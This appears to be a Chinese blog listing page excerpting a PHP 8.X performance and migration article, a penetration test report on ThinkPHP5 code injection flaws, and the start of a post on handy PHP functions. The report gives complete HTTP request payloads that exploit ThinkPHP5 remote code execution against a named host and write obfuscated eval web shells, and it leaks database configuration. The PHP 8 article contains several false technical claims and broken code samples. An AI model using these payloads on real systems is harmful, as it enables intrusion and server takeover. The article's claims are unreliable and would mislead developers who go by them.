找到
57
篇与
PHP语言
相关的结果
- 第 2 页
-
PHP 8.X 深入探讨 PHP 性能改进特性 概述 作为一个充满激情的开发人员,我很高兴地见证了 PHP 这个广受赞誉的服务器端脚本语言在过去二十年中的发展。 现在,随着 PHP 8.X 的发布,PHP 作为世界各地开发人员强大而可靠的选择的主导地位比以往任何时候都要强大。PHP 8.X 系列,包括 PHP 8.0,PHP 8.1,以及截至 2022 年 11 月的 PHP 8.2,推出了大量的增强功能和新功能,但最值得注意的是,与其前辈相比,它提供了显着的性能提升。 在本文中,我很高兴能够深入探讨 PHP 8.X 带来的性能改进和高效处理。通过彻底检查和分析这些前沿的增强功能,我的目标是为开发人员和技术爱好者提供宝贵的见解,以了解 PHP 8.X 中的关键优化。 这一全面的探索将使您能够充分掌握拥抱 PHP 8.X 的好处,并了解其对您的 Web 应用程序和整个 PHP 生态系统的潜在影响。所以,让我们深入了解 PHP 8.X 为我们准备的显著进步。 图片 PHP 8.X 简介 PHP 8.X 系列始于 2020 年 11 月 26 日发布的 PHP 8.0,随后是 2021 年 11 月 25 日发布的 PHP 8.1。这些版本引入了几个突破性的功能,以及实质性的性能改进,对 Web 开发环境产生了积极的影响。 PHP 8.0 中值得注意的特性包括即时(JIT)查询器、属性(也称为注释)、命名参数、nullsafe 运算符和匹配表达式。PHP 8.1 继续构建在 PHP 8.0 奠定的坚实基础上,引入了新的特性,如枚举,只读属性,纤程(为了更好的并发支持),以及新的语法改进,如使用字符串键和第一类可调用的数组解包。 PHP 8.2 引入了许多新特性,包括: Co-routines:Co-routines 是一个新特性,它允许 PHP 开发人员编写并发代码,而不需要线程。 联合类型:联合类型是一个新特性,允许 PHP 开发人员定义一个变量来保存一组类型中的任何一个。 改进的错误处理:PHP 8.2 对错误处理进行了许多改进,包括更好的错误消息和更优雅地处理错误的能力。 属性(注释) 图片 在 PHP 8.X 中,属性已经取代了用于添加元数据的效率较低且容易出错的 docblock 注释,这显著影响了 PHP 性能。通过提供对属性的原生支持,PHP 8.X 确保了在编译时对其进行验证,消除了可能由不正确的元数据引起的运行时问题。 这种标准化的方法鼓励 PHP 社区采用元数据和流程管理的最佳实践,最终提高 PHP 的整体性能和 Web 服务器应用程序的效率。 此外,属性由于其元数据提取的标准化方法,促进了与各种开发工具、监控工具和框架的更好集成。这就增强了 IDE、静态分析器和其他开发工具的支持,优化了 PHP 性能,丰富了开发体验。 因此,属性不仅提高了 PHP 代码的质量,而且还促进了更高效和更精简的开发过程,从而在 Web 服务器上实现了性能更好的 PHP 应用程序。 考虑一个在 Web 应用程序中验证用户输入的简单用例。以前,开发人员会使用 docblock 注释来提供关于验证规则的元数据,然后在运行时解析这些元数据。 这可能会导致性能开销和潜在的运行时错误。使用 PHP 8.X 属性,开发人员现在可以直接向代码添加元数据,并在编译时进行验证。 下面是一个比较旧的 docblock annotation 方法和新的 attributes 方法的例子: PHP 7.x 及更早版本 /** * @ValidationRule("email") * @ValidationMessage("Please enter a valid email address.") */ class EmailValidator { // ... }PHP 8.X use App\Validation\ValidationRule; use App\Validation\ValidationMessage; #[ValidationRule("email")] #[ValidationMessage("Please enter a valid email address.")] class EmailValidator { // ... }在上面的示例中,PHP 8.X 基于属性的方法提供了一种更干净、更有效的方法来向 EmailValidator 类添加元数据。通过利用属性,开发人员可以消除与解析 docblock 注释相关的运行时开销,从而提高 PHP 性能和更高效的 Web 服务器应用程序。 命名参数 PHP 8.X 中的命名参数提供了一定程度的灵活性,在修改或扩展函数时会显著影响 PHP 的性能。通过显式命名参数,开发人员可以轻松地添加、删除或更改参数的顺序,而不会破坏现有的 PHP 代码。 这鼓励代码的可重用性和模块化设计,以及简化对每个参数的目的的理解。最终,命名参数有助于更好地维护和高效的 PHP 代码库,提高 PHP 在 Web 服务器上的性能。 通过使用命名参数,开发人员可以创建更具表现力和自文档化的 API,这对于 PHP 性能调优至关重要。此功能有助于理解复杂函数,特别是在处理大量参数、默认值或可选参数时。 因此,命名参数有助于减少开发人员的认知负荷,使编写、审查和调试 PHP 代码变得更加容易。这导致了更健壮和高效的 PHP 应用程序的开发,进一步增强了 PHP 在 Web 服务器上的性能。 无命名参数(PHP 7.x 及更早版本) function sendEmail($to, $subject, $body, $from = 'noreply@example.com', $isHtml = true) { // ... } // Call the function without named arguments sendEmail('john@example.com', 'Welcome', '<h1>Hello, John!</h1>', 'info@example.com', true);使用命名参数(PHP 8.X): function sendEmail($to, $subject, $body, $from = 'noreply@example.com', $isHtml = true) { // ... } // Call the function with named arguments, but skip the `from` and `isHtml` parameters sendEmail( to: 'john@example.com', subject: 'Welcome', body: '<h1>Hello, John!</h1>' );在此示例中,由于未显式指定from和isHtml参数,因此将跳过它们。将使用这些参数的默认值。 这是提高代码可读性和可维护性的好方法。通过使用命名参数,可以明确哪些参数是必需的,哪些参数是可选的。这可以帮助减少错误并使代码更可重用。 以下是使用命名参数时需要记住的其他一些事情: 必须在任何位置参数之后使用命名参数。 不能两次使用同一个参数名。 如果没有为可选参数指定值,则将使用默认值。 如果为可选参数指定值,则默认值将被忽略。 Nullsafe 运算符 通过简化可空对象的处理,nullsafe操作符允许开发人员编写更优雅、更少出错的 PHP 代码,从而增强 PHP 在 Web 服务器上的性能。 这可以带来显著的改进,因为它减少了处理空值所需的条件逻辑的数量。在最新的 PHP 版本上运行的 PHP 应用程序可以减少共享内存占用量并缩短执行时间,进一步增强 PHP 8.X 中此功能的优势。 nullsafe操作符还鼓励在 PHP 应用程序中采用更一致的错误处理方法,特别是在处理数据库查询和 SQL 查询时。通过推广可空类型的使用并减少处理空值所需的样板代码,开发人员可以创建更干净、更可维护的代码库。 这种处理可空对象和空相关错误的一致方法可以产生更稳定和更高性能的应用程序,并在 PHP 社区中培养更统一的编码风格。 不使用Nullsafe运算符(PHP 7.x 及更早版本):class User { public function getCompany() { // Fetch company data from the database } } $user = getUserFromDatabase(); if ($user !== null) { $company = $user->getCompany(); if ($company !== null) { $companyName = $company->name; } else { $companyName = 'Not available'; } } else { $companyName = 'User not found'; } echo $companyName;使用Nullsafe Operator(PHP 8.X):class User { public function getCompany() { // Fetch company data from the database } } $user = getUserFromDatabase(); $companyName = $user?->getCompany()?->name ?? 'Not available' ?: 'User not found'; echo $companyName;在上面的示例中,PHP 8.X nullsafe运算符(?->)简化了可空对象的处理,并减少了所需的条件逻辑的数量。这会产生更优雅、可读性更强、更易于维护的代码,有助于在 Web 服务器上提高 PHP 性能。 匹配表达式 PHP 8.X 中匹配表达式的引入使开发人员能够以更有效和可读的方式处理复杂的条件逻辑,这可以显着提高 PHP 在 Web 服务器上的性能。通过消除对 break 语句的需求并提供详尽的匹配,减少了人为错误的可能性。 匹配表达式不仅提高了代码的可读性,而且还支持更高级的模式匹配功能。通过添加匹配表达式,开发人员现在可以以更简洁和优雅的方式表达复杂的条件和模式匹配。 这可能会导致更多的维护代码,因为开发人员可以轻松地理解和修改复杂的逻辑,而不会迷失在 if-else 语句或 switch 案例的海洋中。因此,匹配表达式有助于 PHP Web 应用程序的整体效率和性能。 枚举 为了提高 PHP 性能,PHP 8.1 中引入的枚举在代码可读性、可维护性和运行在 Web 服务器上的 Web 应用程序的效率方面提供了显著的优势。 通过将字符串或常量值替换为枚举,开发人员可以减少共享内存的使用,提高值比较的速度,从而提高代码执行效率,并最终提高 Web 应用程序的 PHP 性能。 在最新的 PHP 版本中引入枚举还使开发人员能够创建更有意义和更具表现力的 API,这可以改善开发团队之间的沟通和协作。 枚举作为一种文档形式,使开发人员更容易理解预期值及其用途。通过将枚举合并到代码库中,开发人员可以减少误解和错误的可能性,进一步提高应用程序性能和 PHP Web 应用程序的整体可靠性。 只读属性 专注于 PHP 性能,在 Web 服务器上运行的 PHP 应用程序中实现只读属性允许开发人员避免与可变状态管理相关的性能开销。 通过强制不变性,对代码库中对象行为的推理变得更简单,有助于最小化错误并提高代码的可维护性。因此,只读属性有助于更稳定和更高性能的 Web 应用程序。 在 PHP 应用程序中添加只读属性还可以增强原生 PHP 函数的安全性以及数据库查询的处理和处理时间。通过强制执行不变性,开发人员可以降低对类属性进行未经授权修改的风险,这可能有助于防止某些类型的漏洞。 此外,只读属性有助于在 Web 应用程序的不同组件之间建立清晰的边界和契约,从而促进更模块化和更安全的代码库。这反过来又为 PHP Web 应用程序带来了更好的性能和稳定性。 Fibers 纤维 为了强调 PHP 的性能,PHP 8.X 中引入的 Fiber 标志着在 Web 服务器上运行的 PHP 应用程序的并发管理方面的重大变化。与传统线程相比,纤程的轻量级特性最小化了与上下文切换相关的开销。 这会带来更好的资源利用率和更高的吞吐量,特别是在具有高并发需求的 Web 应用程序中。通过实现纤程,开发人员可以创建更高性能和可伸缩的 PHP 应用程序,突出了 PHP 8.X 的进步。 在 PHP 8.X 中采用纤程有可能改变 PHP 开发人员在 Web 应用程序中管理并发和并行的方式,包括那些涉及数据库查询和处理时间的应用程序。 使用 Fibers,开发人员可以构建响应更快、更高效的 PHP 应用程序,从而更好地利用现代硬件资源,如多核处理器。此外,纤程支持更容易访问的异步编程方法,吸引了更广泛的开发人员。 因此,纤程在开发更高性能、可伸缩性和可维护性的 PHP 应用程序方面发挥着至关重要的作用,展示了 PHP 生态系统的持续发展。 图片 使用字符串键和一级可调用对象的数组解包 这些语法改进通过允许开发人员更有效地执行数组操作和操作可调用对象来简化和精简应用程序代码。这些特性有助于提高代码的可读性和可维护性。 这些改进不仅通过更快的加载时间和更短的延迟使最终用户受益,而且还减少了服务器资源消耗,为企业和组织节省了成本。总的来说,这些功能有助于使 PHP 8.X 成为 Web 开发人员更强大,更有表现力和更高效的选择。 PHP 8.X 对性能改进的关注可以追溯到对更快、更高效的 Web 应用程序的需求。随着互联网的快速发展和用户期望的不断提高,开发人员一直在寻求优化应用程序性能的方法。 PHP 8.X 通过在语言级别提供大量优化来满足这一需求,允许开发人员提供更快,响应更快的 Web 应用程序,而无需大量的应用程序代码重构。这些改进不仅使最终用户受益,还减少了服务器资源消耗,最终为企业和组织节省了成本。 JIT Just-In-Time(JIT)编译器是 PHP 8.X 中引入的最重要的性能改进特性之一。作为 PHP 8.0 版本的关键组件,JIT 编译器旨在提高 PHP 脚本的执行速度,使其成为该语言性能的游戏规则改变者。 JIT 编译器的工作原理是在运行时将 PHP 代码中频繁执行的部分转换为机器代码,而不是传统的动态解释 PHP 代码的方法。编译后的机器代码的执行速度比解释后的代码快得多,从而大大提高了性能。 JIT 编译器以两种模式运行:函数和跟踪 JIT。函数 JIT 编译整个函数,而跟踪 JIT 编译频繁执行的较小代码路径。 要了解 JIT 编译器对实际应用程序的影响,必须认识到并非所有 PHP 应用程序都能看到相同程度的性能改进。JIT 编译器的优势在 CPU 密集型任务中变得更加明显,例如数学计算、图像处理和复杂的数据操作。 对于许多典型的 Web 应用程序,性能改进可能不太明显,因为这些应用程序通常是 I/O 绑定的,这意味着瓶颈与数据库查询和文件系统访问等输入/输出操作有关,而不是 CPU 绑定的任务。 然而,JIT 编译器的引入仍然有潜力为 PHP 在其他领域中打开新的可能性并提高性能。例如,PHP 可能成为高性能计算、机器学习和实时应用程序的一个更可行的选择,在这些应用程序中,提高的执行速度可能会产生重大影响。 优化的函数调用和类型声明 在 PHP 8.X 中,对函数调用和类型声明进行了一些改进,有助于在为 Web 服务器和 Web 服务开发 PHP 应用程序时增强性能和更有效的代码执行。这些优化包括以下内容 更快的函数调用 PHP 8.X 为内部函数和用户定义函数引入了更有效的类型检查。这种改进是通过在编译阶段更好地处理类型检查来实现的,这减少了与运行时类型检查相关的开销。此外,PHP 8.X 还优化了联合类型的检查方式,从而进一步提高了性能。 类型检查的这些增强有助于提高 PHP 应用程序的整体性能,帮助消除可能由低效类型处理引起的潜在瓶颈和性能问题。 此外,改进的类型检查可以减少数据库负载,降低查询速度和改善业务逻辑,因为它确保只处理和存储有效数据,从而提高数据库操作和 SQL 查询的效率。 通过专注于类型检查优化,PHP 8.X 使开发人员能够微调 PHP 性能,并创建更健壮和更高效的应用程序,可以更好地处理现代 Web 服务器和动态 Web 页面的需求。 图片 改进的类型检查 在 PHP 8.X 版中,引入了对内部函数和用户定义函数进行更有效的类型检查,从而显著提高了性能。通过在编译阶段优化类型检查,PHP 8.X 还减少了与运行时类型检查相关的开销,同时还增强了对联合类型的处理。这些增强功能有助于提高应用程序的整体性能,这对于需要快速加载时间和响应能力的 Web 应用程序至关重要。 改进的类型检查有助于消除可能由低效类型处理引起的潜在瓶颈和性能问题,从而使 Web 应用程序更加稳定和高效。此外,这种优化确保只处理和存储有效数据,从而提高数据库操作的效率并减少页面加载时间。 通过对类型检查优化的关注,PHP 8.X 为开发人员提供了工具来微调应用程序的性能,并创建更健壮、更高效的 Web 应用程序。这在性能基准测试的上下文中特别有益,因为它允许开发人员准确地测量和比较其应用程序的性能与行业标准或竞争对手。 通过利用这些性能改进,开发人员可以更快地编写代码,构建更好地满足现代 Web 服务器需求的 Web 应用程序,并提供更好的用户体验。 命名参数 PHP 8.X 及以后版本中引入的命名参数提供了改进代码优化和可读性之外的好处。它们还可以在某些情况下有助于性能优化。通过使用命名参数,开发人员可以在调用函数时跳过不必要的参数,从而减少需要处理的数据量。 这些优化通过最小化与函数调用和类型声明相关的开销来增强性能。通过优化语言的这些基本方面,PHP 8.X 可以更有效地执行代码,从而缩短加载时间并提高 Web 应用程序的整体性能。 这些改进对实际应用程序的影响取决于特定的用例和编码实践。具有大量函数调用和广泛使用类型声明的应用程序可能会获得更显著的性能提升。 总的来说,这些优化有助于提高响应速度和效率的用户体验,并减少服务器资源消耗,通过解决性能瓶颈和增强 Web 服务器上的应用程序性能,使最终用户和企业受益。 图片 PHP 8.X 兼容性和迁移 从旧版本迁移到 PHP 8.X 及更高版本可以提供显著的性能改进,但开发人员也可能会遇到兼容性方面的挑战,这是由于不推荐使用的功能、函数行为的更改或新语法和功能的引入。 为了确保顺利的迁移过程,开发人员应该意识到这些潜在的问题,并采用最佳实践来最大限度地减少中断。以下是迁移到 PHP 8.X 时需要注意的事项的综合列表。 删除的扩展和功能 PHP 8.X 及以后的版本已经删除了几个扩展和函数,这些扩展和函数要么被弃用,要么有更好的替代品。如果您的代码依赖于这些删除,则这些删除可能会导致兼容性问题。例如 ext/ereg扩展已经被删除,以支持更高效的ext/pcre扩展。 准备好重构代码以进行代码优化,从而使用更新的函数或替代方案。 删除的扩展和函数示例 在 PHP 8.X 中删除了functionfunction()函数。如果你的代码使用了匿名函数(),你需要重构它来使用匿名函数(闭包)。 // Old code using create_function() $func = create_function('$x', 'return $x $x;'); echo $func(5); // Output: 25 // Updated code using an anonymous function $func = function($x) { return $x $x; }; echo $func(5); // Output: 25错误报告和处理的变化 PHP 8.X 引入了错误报告和处理的变化,将许多运行时通知,警告和错误转换为更严重的异常。这一更改意味着以前在代码中隐藏的问题现在可能会导致未处理的异常,导致 PHP 应用程序出现意外行为或过早终止。检查错误处理和日志记录策略,确保它们与 PHP 8.X 兼容。 错误报告和处理示例中的更改:在 PHP 8.X 中,传递给函数的参数太少将引发TypeError异常而不是警告。要处理此更改,您应该更新错误处理代码以捕获TypeError异常。 function add($a, $b) { return $a + $b; } try { echo add(5); // Throws a TypeError exception in PHP 8.X } catch (TypeError $e) { echo "Error: " . $e->getMessage(); }核心类中的不兼容更改 PHP 8.X 对几个核心类进行了更改,这可能会导致兼容性问题。例如,Serializable接口已被弃用,并被serialize()和unserialize()魔术方法所取代。如果您的代码依赖于实现Serializable接口的类,则需要相应地更新它们。 核心类中的不兼容更改示例:如前所述,Serializable接口已被弃用。如果你有一个实现这个接口的类,你应该更新它以使用serialize()和unserialize()魔术方法。 // Old code using Serializable interface class MyClass implements Serializable { // ... public function serialize() { // ... } public function unserialize($data) { // ... } }// Updated code using serialize() and unserialize() magic methods class MyClass { // ... public function serialize(): array { // ... } public function unserialize(array $data): void { // ... } }函数和方法签名的更改 PHP 8.X 中的某些函数和方法更新了签名,如果您的代码依赖于旧的签名,这可能会导致兼容性问题。 例如,PHP 8.0 引入了对反射 API 中各种方法的签名的更改,例如:ReflectionMethod::invoke()方法。准备好更新代码以符合新的函数和方法签名。 函数和方法签名的更改示例:ReflectionParameter::getClass()方法在 PHP 8.X 中已被弃用,您应该改用ReflectionParameter::getType()方法。 function foo(ReflectionParameter $param) { // Old code using getClass() $class = $param->getClass(); // Updated code using getType() $type = $param->getType(); if ($type instanceof ReflectionNamedType) { $class = $type->getName(); } }默认行为的更改 PHP 8.X 更改了一些函数和特性的默认行为,这可能会导致兼容性问题。 例如,默认错误报告级别已更改为包括所有错误、通知和警告。如果依赖以前的默认错误报告级别,此更改可能会导致代码中出现意外行为。 默认行为更改示例:在 PHP 8.X 中,strip_tags()函数现在默认从输入字符串中删除前导和尾随空格。如果您的代码依赖于前面的行为,则可能需要对其进行相应的调整。 $input = " <b> Hello, World! </b> "; $output = strip_tags($input); echo $output; // Output in PHP 8.X: "Hello, World!"语言结构的变化 PHP 8.X 对某些语言结构进行了更改,这可能会导致兼容性问题。 例如,switch构造现在支持严格的类型检查,如果您的代码不符合新的要求,这可能会导致类型错误。准备好更新代码以符合语言构造中的更改。 语言结构的变化示例:在 PHP 8.X 中,switch结构使用严格的类型检查,这意味着不相同的类型将不再匹配。更新代码以使用严格类型,或将值显式强制转换为所需类型。 $number = "42"; // String // Old code: PHP 7.x would match this case switch ($number) { case 42: echo "Matched!"; break; default: echo "Not matched!"; }// Updated code: PHP 8.X requires strict types or explicit casting switch ((int) $number) { case 42: echo "Matched!"; break; default: echo "Not matched!"; }图片 PHP 7 和 PHP 8 的性能比较 未来之路:拥抱 PHP 8.X 更好的性能 PHP 8.X 引入了许多性能改进,使其成为 Web 开发的强大工具。您几乎可以将本文的内容用作 php 性能调优提示指南。 即时(JIT)编译器、优化的函数调用和类型声明有助于更快、更高效的 Web 应用程序,而命名参数、属性和匹配表达式等新语言功能则提供了更高的性能和可读性。 迁移到 PHP 8.X 还需要解决潜在的兼容性问题,例如删除的扩展和函数,错误报告和处理的更改,核心类的更新,以及函数和方法签名,默认行为和语言结构的更改。仔细的规划和遵循最佳实践可以确保平稳的过渡,并帮助开发人员充分利用 PHP 8.X 的性能增强。 如果您正在考虑迁移到 PHP 8.X 或希望优化现有的 PHP 应用程序,那么 Jupiter 可以提供帮助。我们的专家团队专注于调整 Web 性能关键指标、扩展 Web 应用程序、降低开发成本、缩短上市时间、改善用户体验、保护 Web 应用程序、确保质量和可靠性以及维护 Web 产品。 -
ThinkPHP5 代码注入漏洞总结 渗透测试报告 tp5_construct_code_exec_2 漏洞 url:http://blog.yihang.info/index.php?s=captcha 漏洞验证 请求包: POST /index.php?s=captcha HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Content-type: application/x-www-form-urlencoded Cache-Control: no-cache Pragma: no-cache Host: w1.ltfta5.site Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Content-Length: 60 Connection: close _method=__construct&method=GET&filter[]=var_dump&get[]=dylan响应包: HTTP/1.1 200 OK Server: nginx Date: Thu, 02 Mar 2023 05:21:43 GMT Content-Type: image/png; charset=utf-8 Content-Length: 1876 Connection: close Set-Cookie: PHPSESSID=v8cee56q175b9p0907sv4lchl4; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache string(5) "dylan" string(11) "__construct" string(3) "GET" string(8) "var_dump" string(5) "dylan" NULL PNG 存在漏洞 payload1 POST /index.php?s=captcha HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Content-type: application/x-www-form-urlencoded Cache-Control: no-cache Pragma: no-cache Host: w1.ltfta5.site Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Content-Length: 125 Connection: close _method=__construct&method=GET&filter[]=system&get[]=echo+'%3C%3Fphp+%40eval%28%24_POST%5B%22kkk%22%5D%29%3B%3F%3E'+>bak1.phppayload2 POST /index.php?s=captcha HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Content-type: application/x-www-form-urlencoded Cache-Control: no-cache Pragma: no-cache Host: w1.ltfta5.site Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Content-Length: 125 Connection: close _method=__construct&method=GET&filter[]=system&get[]=echo+"%3C%3Fphp+%40eval%28%24_POST%5B%27kkk%27%5D%29%3B%3F%3E"+>bak1.phppayload3 POST /index.php?s=captcha HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Content-type: application/x-www-form-urlencoded Cache-Control: no-cache Pragma: no-cache Host: w1.ltfta5.site Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Content-Length: 142 Connection: close _method=__construct&method=GET&filter[]=assert&get[]=file_put_contents('bak1.php',base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydra2snXSk7Pz4%3D'))写入成功 tp5_index_construct_rce 漏洞 url:http://blog.yihang.info/index.php?s=index/index/index 漏洞验证 请求包: POST /index.php?s=index/index/index HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Content-type: application/x-www-form-urlencoded Cache-Control: no-cache Pragma: no-cache Host: w1.ltfta5.site Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Content-Length: 52 Connection: close s=xskfC&_method=__construct&method&filter[]=var_dump响应包: HTTP/1.1 500 Internal Server Error Server: nginx Date: Thu, 02 Mar 2023 05:41:02 GMT Content-Type: text/html; charset=UTF-8 Connection: close Set-Cookie: PHPSESSID=08bvf36sj6d6n1n8d0jrvqp184; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 282 string(5) "xskfC" string(11) "__construct" string(0) "" string(8) "var_dump" string(5) "xskfC" string(11) "__construct" string(0) "" string(8) "var_dump" string(5) "xskfC" string(11) "__construct" string(0) "" string(8) "var_dump" 链接无效!请联系客服获取有效链接!漏洞存在 payload POST /index.php?s=index/index/index HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Content-type: application/x-www-form-urlencoded Cache-Control: no-cache Pragma: no-cache Host: w1.ltfta5.site Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Content-Length: 186 Connection: close s=file_put_contents('bak5.php',base64_decode('PD9waHAgJGE9In4rZCgpIl4iIXsre30iO0AkYj1iYXNlNjRfZGVjb2RlKCR7JGF9WyJhIl0pO2V2YWwoIiIuJGIpOz8%2B'))&_method=__construct&method&filter[]=assert写入成功 tp5_session_include 漏洞 url:http://blog.yihang.info/index.php/index 漏洞验证 请求数据包: POST /index.php/index HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Cookie: PHPSESSID=uzozteeqzqb0lxop0bi3awl9g Content-type: application/x-www-form-urlencoded Cache-Control: no-cache Pragma: no-cache Host: w1.ltfta5.site Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Content-Length: 113 Connection: close _method=__construct&method=GET&filter[]=think\__include_file&get[]=/tmp/sess_uzozteeqzqb0lxop0bi3awl9g&server[]=1响应结果: think|a:5:{s:4:"test";s:0:"";s:11:"__construct";s:0:"";s:18:"think\Session::set";s:0:"";s:3:"get";s:0:"";i:1;s:0:"";}payload POST /index.php?s=captcha HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Cookie: PHPSESSID=q1ces7rkvhr3gg7t9daaxkh9w Content-type: application/x-www-form-urlencoded Cache-Control: no-cache Pragma: no-cache Host: w1.ltfta5.site Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Content-Length: 260 Connection: close _method=__construct&filter[]=think\Session::set&method=get&get[]=<?php+$a='file_put_contents';$b='base64_decode';$a($b('YmFrLnBocA=='),$b('PD9waHAgQGV2YWwoJF9QT1NUWydra2snXSk7Pz4='));?>&server[]=1写入成功 tp5_invoke_func_code_exec_1 漏洞 url:http://blog.yihang.info/index.php?s=index/think\app/invokefunction&function=phpinfo&vars[0]=-1 漏洞验证 请求包: GET /index.php?s=index/think\app/invokefunction&function=phpinfo&vars[0]=-1 HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Cache-Control: no-cache Pragma: no-cache Host: w1.ltfta5.site Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: close响应包: phpinfo页面漏洞存在 payload GET /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=bak6.php&vars[1][]=%3C%3Fphp+%24a%3D%22%7E%2Bd%28%29%22%5E%22%21%7B%2B%7B%7D%22%3B%40%24b%3Dbase64_decode%28%24%7B%24a%7D%5B%22a%22%5D%29%3Beval%28%22%22.%24b%29%3B%3F%3E HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Cache-Control: no-cache Pragma: no-cache Host: w1.ltfta5.site Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: closetp5_dbinfo_leak 漏洞(数据库信息泄露) url:http://blog.yihang.info/index.php?s=index/think\config/get&name=database.hostname 漏洞验证 请求包: GET /?s=index/think\config/get&name=database.hostname HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Cache-Control: no-cache Pragma: no-cache Host: w1.ltfta5.site Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: close响应包: HTTP/1.1 200 OK Server: nginx Date: Thu, 02 Mar 2023 05:51:35 GMT Content-Type: text/html; charset=utf-8 Connection: close Vary: Accept-Encoding Content-Length: 9 localhost漏洞存在 payload1 GET /?s=index/think\config/get&name=database.hostname HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Cache-Control: no-cache Pragma: no-cache Host: w1.ltfta5.site Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: closepayload2 GET /?s=index/think\config/get&name=database.hostport HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Cache-Control: no-cache Pragma: no-cache Host: w1.ltfta5.site Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: closepayload3 GET /?s=index/think\config/get&name=database.hostport HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Cache-Control: no-cache Pragma: no-cache Host: w1.ltfta5.site Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: closepayload4 GET /?s=index/think\config/get&name=database.database HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Cache-Control: no-cache Pragma: no-cache Host: w1.ltfta5.site Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: closepayload5 GET /?s=index/think\config/get&name=database.username HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Cache-Control: no-cache Pragma: no-cache Host: w1.ltfta5.site Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: close -
提升 PHP 编码效率的 10 个实用函数 PHP开发者始终追求更简洁、高效的代码。幸运的是,PHP 提供了丰富的内置函数,能显著减少手动编码,提升开发效率。无论经验深浅,掌握这些函数的使用技巧都至关重要。 图片 以下列出了 10 个可以显著加快您的编码过程的 PHP 函数: 1、array_map() array_map() 当需要对数组每个元素执行相同操作时,它是首选函数,能避免编写重复循环。 $numbers = [ 1 , 2 , 3 , 4 ]; $squared = array_map (fn( $num ) => $num * $num , $numbers ); print_r ( $squared ); // 输出:[1, 4, 9, 16]2、array_filter() array_filter() 使用自定义条件过滤数组元素,简化数据处理。 $numbers = [ 1 , 2 , 3 , 4 , 5 ]; $evenNumbers = array_filter ( $numbers , fn( $num ) => $num % 2 === 0 ); print_r ( $evenNumbers ); // 输出:[2, 4]3、array_reduce() array_reduce() 将数组缩减为单个值,例如计算数组元素总和。 $numbers = [ 1 , 2 , 3 , 4 ]; $sum = array_reduce ( $numbers , fn( $carry , $item ) => $carry + $item , 0 ); echo $sum ; // 输出:104、json_encode() 和 